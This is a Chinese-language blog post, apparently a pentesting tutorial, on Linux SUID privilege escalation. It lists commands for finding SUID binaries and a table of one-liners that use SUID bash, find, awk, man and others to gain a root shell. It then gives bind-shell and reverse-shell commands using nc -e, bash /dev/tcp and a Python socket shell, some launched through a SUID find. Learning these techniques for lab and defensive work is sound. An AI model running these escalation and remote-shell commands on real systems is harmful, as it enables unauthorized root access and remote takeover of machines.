SUID
# SUID 提权
suid (set uid) 是 linux 中的一种特殊权限,suid 可以让调用者以文件拥有者身份运行该文件,所以利用 suid 提权的核心就是运行 root 用户所拥有的 suid 的文件,那么运行该文件的时候就得获得 root 用户的身份了。
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
1 | chmod u+s filename #设置suid |
查找所有配置了 SUID 权限的文件
1 | find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; |
-
-type f: 只查找普通文件,排除目录等其他类型的文件
-
-exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令,2>/dev/null 表示将标准错误输出重定向到 /dev/null,以避免显示不必要的错误信息
-
-perm 匹配权限:
1
2
3
4
5
6
74000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000)等
有很多赋予 suid 权限的文件可以达到权限提升的效果
suid 文件 | 提权命令 |
---|---|
/usr/bin/bash | bash -p |
/usr/bin/csh | csh -b |
/usr/bin/sh | sh -p |
/usr/bin/ksh | ksh -p |
/usr/bin/zsh | zsh |
/usr/bin/find | find /etc/passwd -exec /bin/bash -p ; |
/usr/bin/awk | awk ‘BEGIN {system("/bin/bash")}’ |
/usr/bin/man | !/bin/bash |
/usr/bin/more | !/bin/bash |
更多利用命令在 GTFOBins 可以找到
# find
1 | find 具有suid权限的filename -exec whoami \; -quit |
还有一种差不多的提权方法
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
# shell
在靶机上:
1 | find user -exec nc -lvp 4444 -e '/bin/sh' \; |
在攻击机上:
1 | nc 靶机ip 4444 |
反弹 shell
在靶机上:
1 | find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \; |
在攻击机上:
1 | nc -lvp port |
也可以写一个反弹 root 的 shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
这里也可以结合之前的命令
1 | /usr/bin/find 1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; |
- Title: SUID
- Author: Fc04dB
- Created at : 2024-11-15 09:51:35
- Updated at : 2024-11-19 18:06:45
- Link: https://redefine.ohevan.com/2024/11/15/SUID/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments